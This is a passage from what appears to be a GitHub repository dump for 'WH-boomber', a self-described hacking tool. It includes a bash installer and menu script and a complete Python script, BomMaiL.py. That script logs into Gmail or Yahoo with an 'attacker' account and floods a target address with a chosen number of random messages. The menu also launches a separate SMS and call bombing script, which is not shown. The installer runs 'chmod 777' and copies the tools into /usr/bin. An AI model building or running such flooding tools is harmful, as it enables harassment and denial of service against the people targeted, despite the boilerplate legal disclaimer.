| if [ "$?" != "0" ]; then 269 | FaIl="YES" 270 | echo ${BLUE}[x]${RED} pip3 installation '->' not found!${RESTORE}; 271 | sleep 1 272 | echo ${BLUE}[↻]${YELLOW} This script requires pip3 to work!${Resetr1}; 273 | echo ${YellowFy1}[☆] Please wait: installing missing dependencies ..${Resetr1}; 274 | echo "" 275 | sudo apt-get install python3-pip3 -y 276 | echo "" 277 | else 278 | echo ${BLUE}[✓]${YELLOW}" pip3 installation : ${GREEN}found!"${RESTORE}; 279 | sleep 1 280 | fi 281 | 282 | apc=`which figlet` 283 | if [ "$?" != "0" ]; then 284 | FaIl="YES" 285 | echo ${BLUE}[x]${RED} figlet installation '->' not found!${RESTORE}; 286 | sleep 1 287 | echo ${BLUE}[↻]${YELLOW} This script requires figlet to work!${Resetr1}; 288 | echo ${YellowFy1}[☆] Please wait: installing missing dependencies ..${Resetr1}; 289 | echo "" 290 | sudo apt-get install figlet -y 291 | echo "" 292 | else 293 | echo ${BLUE}[✓]${YELLOW}" figlet installation : ${GREEN}found!"${RESTORE}; 294 | sleep 1 295 | fi 296 | apc=`which toilet` 297 | if [ "$?" != "0" ]; then 298 | FaIl="YES" 299 | echo ${BLUE}[x]${RED} toilet installation '->' not found!${RESTORE}; 300 | sleep 1 301 | echo ${BLUE}[↻]${YELLOW} This script requires toilet to work!${Resetr1}; 302 | echo ${YellowFy1}[☆] Please wait: installing missing dependencies ..${Resetr1}; 303 | echo "" 304 | sudo apt-get install toilet -y 305 | echo "" 306 | else 307 | echo ${BLUE}[✓]${YELLOW}" toilet installation : ${GREEN}found!"${RESTORE}; 308 | sleep 1 309 | fi 310 | 311 | apc=`which zenity` 312 | if [ "$?" != "0" ]; then 313 | FaIl="YES" 314 | echo ${BLUE}[x]${RED} zenity installation '->' not found!${RESTORE}; 315 | sleep 1 316 | echo ${BLUE}[↻]${YELLOW} This script requires zenity to work!${Resetr1}; 317 | echo ${YellowFy1}[☆] Please wait: installing missing dependencies ..${Resetr1}; 318 | echo "" 319 | sudo apt-get install zenity -y 320 | echo "" 321 | else 322 | echo ${BLUE}[✓]${YELLOW}" zenity installation : ${GREEN}found!"${RESTORE}; 323 | sleep 1 324 | fi 325 | pip install -r $LPARTH/whb-bin/requirements.txt 326 | pip3 install -r $LPARTH/whb-bin/requirements.txt 327 | 328 | sleep 1; 329 | 330 | 331 | LPARTH=`pwd` 332 | 333 | apc=`which whbom` 334 | if [ "$?" != "0" ]; then 335 | FaIl="YES" 336 | echo ${BLUE}[x]${RED} RUN File '->' not found!${RESTORE}; 337 | sleep 1 338 | echo ${BLUE}[↻]${YELLOW} This script requires Run files to work!${RESTORE}; 339 | echo ${BLUE}[☆] ${YELLOW}Please wait: installing missing dependencies ..${RESTORE}; 340 | echo "" 341 | 342 | 343 | 344 | 345 | cp $LPARTH/usr-bin/WHB.sh /usr/bin/whbom 346 | cp -r $LPARTH/usr-bin /usr/bin/whb-bin 347 | cp $LPARTH/usr-bin/whmenu.sh /usr/bin/ 348 | sleep 1; 349 | 350 | chmod +x /usr/bin/whbom 351 | chmod +x /usr/bin/whmenu.sh 352 | chmod +x /usr/bin/whb-bin/bomber.py 353 | chmod +x /usr/bin/whb-bin/BomMaiL.py 354 | chmod +x /usr/bin/whb-bin/scBomb.sh 355 | 356 | 357 | sleep 4; 358 | 359 | echo "" 360 | echo "${BLUE}[✓]${GREEN} installation successfully completed ${RESTORE}" 361 | 362 | echo "" 363 | 364 | echo "${BLUE}[⇆]${YELLOW} Now you can run This Tool Any whare by this Commend${GREEN} ( whbom )${YELLOW} .${RESTORE}" 365 | echo "" 366 | sleep 5; 367 | else 368 | echo "" 369 | echo "${BLUE}[✓]${GREEN} installation successfully completed ${RESTORE}" 370 | 371 | echo "" 372 | 373 | echo "${BLUE}[⇆]${YELLOW} Now you can run This Tool Any whare by this Commend${GREEN} ( whbom )${YELLOW} .${RESTORE}" 374 | echo "" 375 | sleep 5 376 | fi 377 | 378 | 379 | 380 | 381 | 382 | 383 | 384 | 385 | 386 | 387 | bash $LPARTH/WHB.sh 388 | exit 389 | elif [ "$planet" == Iagree ] 390 | then 391 | 392 | 393 | 394 | 395 | 396 | #============================================== 397 | 398 | 399 | 400 | clear 401 | 402 | #logo or name 403 | echo "${GREEN} WELCOME TO The ${RESTORE}" 404 | echo "${RESTORE}" 405 | echo "${YELLOW}" 406 | 407 | 408 | echo " █ █░ ██░ ██ ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███ ▓█████ ▒██ ██▒ ██▓███ ██▓ ▒█████ ██▓▄▄▄█████▓" 409 | echo "▓█░ █ ░█░▓██░ ██▒ ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒▓█ ▀ ▒▒ █ █ ▒░▓██░ ██▒▓██▒ ▒██▒ ██▒▓██▒▓ ██▒ ▓▒" 410 | echo "▒█░ █ ░█ ▒██▀▀██░ ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒▒███ ░░ █ ░▓██░ ██▓▒▒██░ ▒██░ ██▒▒██▒▒ ▓██░ ▒░" 411 | echo "░█░ █ ░█ ░▓█ ░██ ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄ ▒▓█ ▄ ░ █ █ ▒ ▒██▄█▓▒ ▒▒██░ ▒██ ██░░██░░ ▓██▓ ░ " 412 | echo "░░██▒██▓ ░▓█▒░██▓ ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒░▒████▒▒██▒ ▒██▒▒██▒ ░ ░░██████▒░ ████▓▒░░██░ ▒██▒ ░ " 413 | echo "░ ▓░▒ ▒ ▒ ░░▒░▒ ▒ ░░▒░▒ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░░░ ▒░ ░▒▒ ░ ░▓ ░▒▓▒░ ░ ░░ ▒░▓ ░░ ▒░▒░▒░ ░▓ ▒ ░░ " 414 | echo " ▒ ░ ░ ▒ ░▒░ ░ ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░ ░ ░ ░░░ ░▒ ░░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ▒ ░ ░ " 415 | echo " ░ ░ ░ ░░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ▒ ▒ ░ ░ " 416 | echo " ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ " 417 | echo " ░ " 418 | echo " " 419 | 420 | echo " ▄▀▀█▄▄ ▄▀▀▀▀▄ ▄▀▀▀▀▄ ▄▀▀▄ ▄▀▄ ▄▀▀█▄▄ ▄▀▀█▀▄ ▄▀▀▄ ▀▄ ▄▀▀▀▀▄ " 421 | echo "▐ ▄▀ █ █ █ █ █ █ █ ▀ █ ▐ ▄▀ █ █ █ █ █ █ █ █ █ " 422 | echo " █▄▄▄▀ █ █ █ █ ▐ █ █ █▄▄▄▀ ▐ █ ▐ ▐ █ ▀█ █ ▀▄▄ " 423 | echo " █ █ ▀▄ ▄▀ ▀▄ ▄▀ █ █ █ █ █ █ █ █ █ █ " 424 | echo " ▄▀▄▄▄▀ ▀▀▀▀ ▀▀▀▀ ▄▀ ▄▀ ▄▀▄▄▄▀ ▄▀▀▀▀▀▄ ▄▀ █ ▐▀▄▄▄▄▀ ▐ " 425 | echo "█ ▐ █ █ █ ▐ █ █ █ ▐ ▐ " 426 | echo "▐ ▐ ▐ ▐ ▐ ▐ ▐ " 427 | #egrep -i ver toolinfo; 428 | echo "${RESTORE}" 429 | echo "${RED}==============================================================================================================" 430 | echo "${RESTORE}" 431 | echo "${BLUE}" 432 | echo "LEGAL DISCLAIMER >>" 433 | echo "${RED}" 434 | echo "Usage of WH-HackerExploit Hacking Tool for attacking targets without prior mutual " 435 | echo "consent is illegal. It's the end user's responsibility to obey all applicable local," 436 | echo "state and federal laws. Developers assume no liability and are not responsible" 437 | echo "for any misuse or damage caused by this program. Only use for educational purposes." 438 | echo "" 439 | echo "${RED}==============================================================================================================" 440 | echo "${RESTORE}" 441 | echo "${RESTORE}" 442 | 443 | # 1. Create ProgressBar function 444 | # 1.1 Input is currentState($1) and totalState($2) 445 | function ProgressBar { 446 | # Process data 447 | let _progress=(${1}*100/${2}*100)/100 448 | let _done=(${_progress}*4)/10 449 | let _left=40-$_done 450 | # Build progressbar string lengths 451 | _fill=$(printf "%${_done}s") 452 | _empty=$(printf "%${_left}s") 453 | 454 | # 1.2 Build progressbar strings and print the ProgressBar line 455 | # 1.2.1 Output example: 456 | # 1.2.1.1 Progress : [########################################] 100% 457 | printf "\rProgress framework : [${_fill// /\#}${_empty// /-}] ${_progress}%%" 458 | 459 | } 460 | 461 | # Variables 462 | _start=1 463 | 464 | # This accounts as the "totalState" variable for the ProgressBar function 465 | _end=100 466 | 467 | # Proof of concept 468 | for number in $(seq ${_start} ${_end}) 469 | do 470 | sleep 0.1 471 | 472 | ProgressBar ${number} ${_end} 473 | done 474 | printf '\nFinished!\n' 475 | mpv $LPARTH/whb-bin/scifi.mp3 | zenity --progress --pulsate --title "☠ PLEASE WAIT ☠" --text="Starting - Framework" --percentage=0 --auto-close --width 300 > /dev/null 2>&1 476 | # service postgresql start | zenity --progress --pulsate --title "☠ PLEASE WAIT ☠" --text="Start Metasploit services" --percentage=0 --auto-close --width 300 > /dev/null 2>&1 477 | 478 | 479 | clear 480 | 481 | #logo or name 482 | echo "${GREEN} WELCOME TO The ${RESTORE}" 483 | echo "${RESTORE}" 484 | echo "${YELLOW}" 485 | 486 | 487 | 488 | echo " █ █░ ██░ ██ ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███ ▓█████ ▒██ ██▒ ██▓███ ██▓ ▒█████ ██▓▄▄▄█████▓" 489 | echo "▓█░ █ ░█░▓██░ ██▒ ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒▓█ ▀ ▒▒ █ █ ▒░▓██░ ██▒▓██▒ ▒██▒ ██▒▓██▒▓ ██▒ ▓▒" 490 | echo "▒█░ █ ░█ ▒██▀▀██░ ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒▒███ ░░ █ ░▓██░ ██▓▒▒██░ ▒██░ ██▒▒██▒▒ ▓██░ ▒░" 491 | echo "░█░ █ ░█ ░▓█ ░██ ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄ ▒▓█ ▄ ░ █ █ ▒ ▒██▄█▓▒ ▒▒██░ ▒██ ██░░██░░ ▓██▓ ░ " 492 | echo "░░██▒██▓ ░▓█▒░██▓ ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒░▒████▒▒██▒ ▒██▒▒██▒ ░ ░░██████▒░ ████▓▒░░██░ ▒██▒ ░ " 493 | echo "░ ▓░▒ ▒ ▒ ░░▒░▒ ▒ ░░▒░▒ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░░░ ▒░ ░▒▒ ░ ░▓ ░▒▓▒░ ░ ░░ ▒░▓ ░░ ▒░▒░▒░ ░▓ ▒ ░░ " 494 | echo " ▒ ░ ░ ▒ ░▒░ ░ ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░ ░ ░ ░░░ ░▒ ░░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ▒ ░ ░ " 495 | echo " ░ ░ ░ ░░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ▒ ▒ ░ ░ " 496 | echo " ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ " 497 | echo " ░ " 498 | echo " " 499 | 500 | echo " ▄▀▀█▄▄ ▄▀▀▀▀▄ ▄▀▀▀▀▄ ▄▀▀▄ ▄▀▄ ▄▀▀█▄▄ ▄▀▀█▀▄ ▄▀▀▄ ▀▄ ▄▀▀▀▀▄ " 501 | echo "▐ ▄▀ █ █ █ █ █ █ █ ▀ █ ▐ ▄▀ █ █ █ █ █ █ █ █ █ " 502 | echo " █▄▄▄▀ █ █ █ █ ▐ █ █ █▄▄▄▀ ▐ █ ▐ ▐ █ ▀█ █ ▀▄▄ " 503 | echo " █ █ ▀▄ ▄▀ ▀▄ ▄▀ █ █ █ █ █ █ █ █ █ █ " 504 | echo " ▄▀▄▄▄▀ ▀▀▀▀ ▀▀▀▀ ▄▀ ▄▀ ▄▀▄▄▄▀ ▄▀▀▀▀▀▄ ▄▀ █ ▐▀▄▄▄▄▀ ▐ " 505 | echo "█ ▐ █ █ █ ▐ █ █ █ ▐ ▐ " 506 | echo "▐ ▐ ▐ ▐ ▐ ▐ ▐ " 507 | echo "${RESTORE}" 508 | echo "${RED}==============================================================================================================" 509 | echo "${RESTORE}" 510 | echo "${BLUE}" 511 | echo "LEGAL DISCLAIMER >>" 512 | echo "${RED}" 513 | echo "Usage of WH-HackerExploit Hacking Tool for attacking targets without prior mutual " 514 | echo "consent is illegal. It's the end user's responsibility to obey all applicable local," 515 | echo "state and federal laws. Developers assume no liability and are not responsible" 516 | echo "for any misuse or damage caused by this program. Only use for educational purposes." 517 | echo "" 518 | echo "${RED}==============================================================================================================" 519 | echo "${RESTORE}" 520 | echo "${RESTORE}" 521 | 522 | 523 | echo "Select Your target Option >" 524 | echo "${YELLOW}" 525 | 526 | select planet in "Mail-Boom" "SMS-and-Call" "Exit" 527 | do 528 | if [ "$planet" == Mail-Boom ] 529 | 530 | then 531 | python $LPARTH/whb-bin/BomMaiL.py 532 | 533 | bash $homemenu 534 | 535 | elif [ "$planet" == SMS-and-Call ] 536 | then 537 | bash $LPARTH/whb-bin/scBomb.sh 538 | bash $homemenu 539 | 540 | else [ "$plant" == Exit ] 541 | 542 | 543 | 544 | echo "Good Bye" 545 | 546 | 547 | exit 0 548 | 549 | fi 550 | done 551 | 552 | 553 | 554 | 555 | 556 | #============================================== 557 | 558 | 559 | 560 | 561 | 562 | 563 | 564 | 565 | 566 | 567 | 568 | 569 | 570 | 571 | 572 | 573 | else [ "$plant" == Dis-agree ] 574 | 575 | 576 | 577 | echo "Good Bye" 578 | 579 | 580 | exit 0 581 | 582 | fi 583 | done 584 | -------------------------------------------------------------------------------- /img/whb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/R47DEV/WH-boomber/ef9ff7b964765f14ae1a8e43d89a3e34c20246dc/img/whb.png -------------------------------------------------------------------------------- /img/whb2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/R47DEV/WH-boomber/ef9ff7b964765f14ae1a8e43d89a3e34c20246dc/img/whb2.png -------------------------------------------------------------------------------- /img/whb3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/R47DEV/WH-boomber/ef9ff7b964765f14ae1a8e43d89a3e34c20246dc/img/whb3.png -------------------------------------------------------------------------------- /img/whb4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/R47DEV/WH-boomber/ef9ff7b964765f14ae1a8e43d89a3e34c20246dc/img/whb4.png -------------------------------------------------------------------------------- /usr-bin/BomMaiL.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | #BomMail 3 | 4 | import os 5 | import smtplib 6 | import getpass 7 | import sys 8 | import time 9 | from colorama import init, Style, Back, Fore 10 | import os 11 | os.system('cls' if os.name == 'nt' else 'clear') 12 | print """ 13 | 14 | WWWWWWWW WWWWWWWWHHHHHHHHH HHHHHHHHH 15 | W::::::W W::::::WH:::::::H H:::::::H 16 | W::::::W W::::::WH:::::::H H:::::::H 17 | W::::::W W::::::WHH::::::H H::::::HH 18 | W:::::W WWWWW W:::::W H:::::H H:::::H 19 | W:::::W W:::::W W:::::W H:::::H H:::::H 20 | W:::::W W:::::::W W:::::W H::::::HHHHH::::::H 21 | W:::::W W:::::::::W W:::::W H:::::::::::::::::H --------------- 22 | W:::::W W:::::W:::::W W:::::W H:::::::::::::::::H -:::::::::::::- 23 | W:::::W W:::::W W:::::W W:::::W H::::::HHHHH::::::H --------------- 24 | W:::::W:::::W W:::::W:::::W H:::::H H:::::H 25 | W:::::::::W W:::::::::W H:::::H H:::::H 26 | W:::::::W W:::::::W HH::::::H H::::::HH 27 | W:::::W W:::::W H:::::::H H:::::::H 28 | W:::W W:::W H:::::::H H:::::::H 29 | WWW WWW HHHHHHHHH HHHHHHHHH 30 | 31 | 32 | _ _ _ 33 | /'\_/`\ _ (_ ) ( ) ( ) 34 | | | _ _ (_) | | | |_ _ _ ___ ___ | |_ __ _ __ 35 | | (_) | /'_` )| | | | | '_`\ /'_`\ /'_`\ /' _ ` _ `\| '_`\ /'__`\( '__) 36 | | | | |( (_| || | | | | |_) )( (_) )( (_) )| ( ) ( ) || |_) )( ___/| | 37 | (_) (_)`\__,_)(_)(___) (_,__/'`\___/'`\___/'(_) (_) (_)(_,__/'`\____)(_) 38 | 39 | """ 40 | 41 | print '_______________________________________________________________________________________' 42 | print '' 43 | def BomEmail(): 44 | if os.name == 'nt': 45 | os.system('cls') 46 | else: 47 | os.system('clear') 48 | print '1.Gmail ' 49 | print '2.Yahoo ' 50 | print '[*] Back for [ Ctrl + c ]' 51 | print '' 52 | server = raw_input ('Type-MailServer Number : ') 53 | user = raw_input('Attacker-Email: ') 54 | passwd = getpass.getpass('Attacker-Password: ') 55 | 56 | 57 | to = raw_input('\nTo: ') 58 | #subject = raw_input('Subject: ') 59 | #Random msg generator start 60 | import random 61 | import string 62 | 63 | digits = "".join( [random.choice(string.digits) for i in xrange(8)] ) 64 | chars = "".join( [random.choice(string.letters) for i in xrange(15)] ) 65 | 66 | body = digits + chars 67 | #Random msg generator End 68 | 69 | total = input('Number of send: ') 70 | 71 | if server == 'gmail' or '1' or 'Gmail': 72 | smtp_server = 'smtp.gmail.com' 73 | port = 587 74 | elif server == 'yahoo' or '2' or 'Yahoo': 75 | smtp_server = 'smtp.mail.yahoo.com' 76 | port = 25 77 | else: 78 | print 'Kindly Enter Your Answer in 1 or 2 in Mail Server.' 79 | sys.exit() 80 | 81 | print '' 82 | 83 | try: 84 | server = smtplib.SMTP(smtp_server,port) 85 | server.ehlo() 86 | if smtp_server == "smtp.gmail.com": 87 | server.starttls() 88 | server.login(user,passwd) 89 | for i in range(1, total+1): 90 | subject = os.urandom(9) 91 | msg = 'From: ' + user + '\nSubject: ' + subject + '\n' + body 92 | server.sendmail(user,to,msg) 93 | print "\r[@]E-mails sent: %i" % i 94 | sys.stdout.flush() 95 | server.quit() 96 | print '\n Done !!!' 97 | print ' BOOMBING :~ Enjoy :)' 98 | except KeyboardInterrupt: 99 | print '[-] Canceled' 100 | sys.exit() 101 | except smtplib.SMTPAuthenticationError: 102 | print '\n[!] Allow access to less secure apps on your gmail account. https://www.google.com/settings/security/lesssecureapps' 103 | sys.exit() 104 | -------------------------------------------------------------------------------- /usr-bin/WHB.sh: -------------------------------------------------------------------------------- 1 | ################################################################################### 2 | ################################################################################### 3 | ## Name : Hacker Exploit ## 4 | ## POWER BY >> WH-HackerExploit ## 5 | ## version : 2.0.1 ## 6 | ## Developer: R47 ## 7 | ## ## 8 | ##-------------------------------------------------------------------------------## 9 | ## LEGAL DISCLAIMER >> ## 10 | ## ## 11 | ## Do not attempt to violate the law with anything contained here. If this ## 12 | ## is your intention, then LEAVE NOW! Neither administration of this ## 13 | ## server, the authors of this material, or anyone else affiliated in any ## 14 | ## way, is going to accept responsibility for your actions. ## 15 | ################################################################################### 16 | ################################################################################### 17 | 18 | 19 | #run script 20 | 21 | #!/bin/bash 22 | LPARTH="/usr/bin" 23 | RED=$'\e[1;31m' 24 | GREEN=$'\e[1;32m' 25 | YELLOW=$'\e[1;33m' 26 | BLUE=$'\e[1;34m' 27 | RESTORE=$'\e[0m' 28 | homepage=$LPARTH/WHB.sh 29 | homemenu="whmenu.sh" 30 | 31 | chmod 777 * 32 | rm -rf $LPARTH/wh2update-data-r47 33 | rm -rf $LPARTH/update-rProgress.sh 34 | sudo service postgresql stop 35 | 36 | clear 37 | 38 | #logo or name 39 | echo "${GREEN} WELCOME TO The ${RESTORE}" 40 | echo "${RESTORE}" 41 | echo "${YELLOW}" 42 | 43 | echo " █ █░ ██░ ██ ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███ ▓█████ ▒██ ██▒ ██▓███ ██▓ ▒█████ ██▓▄▄▄█████▓" 44 | echo "▓█░ █ ░█░▓██░ ██▒ ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒▓█ ▀ ▒▒ █ █ ▒░▓██░ ██▒▓██▒ ▒██▒ ██▒▓██▒▓ ██▒ ▓▒" 45 | echo "▒█░ █ ░█ ▒██▀▀██░ ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒▒███ ░░ █ ░▓██░ ██▓▒▒██░ ▒██░ ██▒▒██▒▒ ▓██░ ▒░" 46 | echo "░█░ █ ░█ ░▓█ ░██ ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄ ▒▓█ ▄ ░ █ █ ▒ ▒██▄█▓▒ ▒▒██░ ▒██ ██░░██░░ ▓██▓ ░ " 47 | echo "░░██▒██▓ ░▓█▒░██▓ ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒░▒████▒▒██▒ ▒██▒▒██▒ ░ ░░██████▒░ ████▓▒░░██░ ▒██▒ ░ " 48 | echo "░ ▓░▒ ▒ ▒ ░░▒░▒ ▒ ░░▒░▒ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░░░ ▒░ ░▒▒ ░ ░▓ ░▒▓▒░ ░ ░░ ▒░▓ ░░ ▒░▒░▒░ ░▓ ▒ ░░ " 49 | echo " ▒ ░ ░ ▒ ░▒░ ░ ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░ ░ ░ ░░░ ░▒ ░░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ▒ ░ ░ " 50 | echo " ░ ░ ░ ░░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ▒ ▒ ░ ░ " 51 | echo " ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ " 52 | echo " ░ " 53 | echo " " 54 | 55 | echo " ▄▀▀█▄▄ ▄▀▀▀▀▄ ▄▀▀▀▀▄ ▄▀▀▄ ▄▀▄ ▄▀▀█▄▄ ▄▀▀█▀▄ ▄▀▀▄ ▀▄ ▄▀▀▀▀▄ " 56 | echo "▐ ▄▀ █ █ █ █ █ █ █ ▀ █ ▐ ▄▀ █ █ █ █ █ █ █ █ █ " 57 | echo " █▄▄▄▀ █ █ █ █ ▐ █ █ █▄▄▄▀ ▐ █ ▐ ▐ █ ▀█ █ ▀▄▄ " 58 | echo " █ █ ▀▄ ▄▀ ▀▄ ▄▀ █ █ █ █ █ █ █ █ █ █ " 59 | echo " ▄▀▄▄▄▀ ▀▀▀▀ ▀▀▀▀ ▄▀ ▄▀ ▄▀▄▄▄▀ ▄▀▀▀▀▀▄ ▄▀ █ ▐▀▄▄▄▄▀ ▐ " 60 | echo "█ ▐ █ █ █ ▐ █ █ █ ▐ ▐ " 61 | echo "▐ ▐ ▐ ▐ ▐ ▐ ▐ " 62 | 63 | 64 | #egrep -i ver toolinfo; 65 | 66 | echo "${RESTORE}" 67 | echo "${RED}==============================================================================================================" 68 | echo "${RESTORE}" 69 | echo "${BLUE}" 70 | echo "LEGAL DISCLAIMER >>" 71 | echo "${RED}" 72 | echo "Usage of WH-HackerExploit Hacking Tool for attacking targets without prior mutual " 73 | echo "consent is illegal. It's the end user's responsibility to obey all applicable local," 74 | echo "state and federal laws. Developers assume no liability and are not responsible" 75 | echo "for any misuse or damage caused by this program. Only use for educational purposes." 76 | echo "" 77 | echo "${RED}==============================================================================================================" 78 | echo "${RESTORE}" 79 | echo "${RESTORE}" 80 | 81 | sleep 1.5; 82 | 83 | echo "${YELLOW}" 84 | echo "[*] Checking For Internet Connection >>>>>>>" 85 | echo "" 86 | function checkinternet() 87 | { 88 | ping -c 1 google.com > /dev/null 2>&1 89 | if [[ "$?" != 0 ]] 90 | then 91 | echo -e "[*] Warning >Internet Connection:${RED} FAILED ${YELLOW}" 92 | echo 93 | echo -e "[*] This framework Needs An Active Internet Connection" 94 | echo 95 | echo -e "[*] HackerExploit >> Exit :( " 96 | echo && sleep 2 97 | exit 98 | else 99 | echo -e "[*] Internet Status : ${GREEN} CONNECTED" 100 | fi 101 | } 102 | checkinternet 103 | 104 | sleep 3; 105 | clear 106 | 107 | #logo or name 108 | echo "${GREEN} WELCOME TO The ${RESTORE}" 109 | echo "${RESTORE}" 110 | echo "${YELLOW}" 111 | 112 | 113 | echo " █ █░ ██░ ██ ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███ ▓█████ ▒██ ██▒ ██▓███ ██▓ ▒█████ ██▓▄▄▄█████▓" 114 | echo "▓█░ █ ░█░▓██░ ██▒ ▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒▓█ ▀ ▒▒ █ █ ▒░▓██░ ██▒▓██▒ ▒██▒ ██▒▓██▒▓ ██▒ ▓▒" 115 | echo "▒█░ █ ░█ ▒██▀▀██░ ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒▒███ ░░ █ ░▓██░ ██▓▒▒██░ ▒██░ ██▒▒██▒▒ ▓██░ ▒░" 116 | echo "░█░ █ ░█ ░▓█ ░██ ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄ ▒▓█ ▄ ░ █ █ ▒ ▒██▄█▓▒ ▒▒██░ ▒██ ██░░██░░ ▓██▓ ░ " 117 | echo "░░██▒██▓ ░▓█▒░██▓ ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒░▒████▒▒██▒ ▒██▒▒██▒ ░ ░░██████▒░ ████▓▒░░██░ ▒██▒ ░ " 118 | echo "░ ▓░▒ ▒ ▒ ░░▒░▒ ▒ ░░▒░▒ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░░░ ▒░ ░▒▒ ░ ░▓ ░▒▓▒░ ░ ░░ ▒░▓ ░░ ▒░▒░▒░ ░▓ ▒ ░░ " 119 | echo " ▒ ░ ░ ▒ ░▒░ ░ ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░ ░ ░ ░░░ ░▒ ░░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ▒ ░ ░ " 120 | echo " ░ ░ ░ ░░ ░ ░ ░░ ░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ▒ ▒ ░ ░ " 121 | echo " ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ " 122 | echo " ░ " 123 | echo " " 124 | 125 | echo " ▄▀▀█▄▄ ▄▀▀▀▀▄ ▄▀▀▀▀▄ ▄▀▀▄ ▄▀▄ ▄▀▀█▄▄ ▄▀▀█▀▄ ▄▀▀▄ ▀▄ ▄▀▀▀▀▄ " 126 | echo "▐ ▄▀ █ █ █ █ █ █ █ ▀ █ ▐ ▄▀ █ █ █ █ █ █ █ █ █ " 127 | echo " █▄▄▄▀ █ █ █ █ ▐ █ █ █▄▄▄▀ ▐ █ ▐ ▐ █ ▀█ █ ▀▄▄ " 128 | echo " █ █ ▀▄ ▄▀ ▀▄ ▄▀ █ █ █ █ █ █ █ █ █ █ " 129 | echo " ▄▀▄▄▄▀ ▀▀▀▀ ▀▀▀▀ ▄▀ ▄▀ ▄▀▄▄▄▀ ▄▀▀▀▀▀▄ ▄▀ █ ▐▀▄▄▄▄▀ ▐ " 130 | echo "█ ▐ █ █ █ ▐ █ █ █ ▐ ▐ " 131 | echo "▐ ▐ ▐ ▐ ▐ ▐ ▐ " 132 | 133 | #egrep -i ver toolinfo; 134 | echo "${RESTORE}" 135 | echo "${RED}==============================================================================================================" 136 | echo "${RESTORE}" 137 | echo "${BLUE}" 138 | echo "LEGAL DISCLAIMER >>" 139 | echo "${RED}" 140 | 141 | echo "Usage of 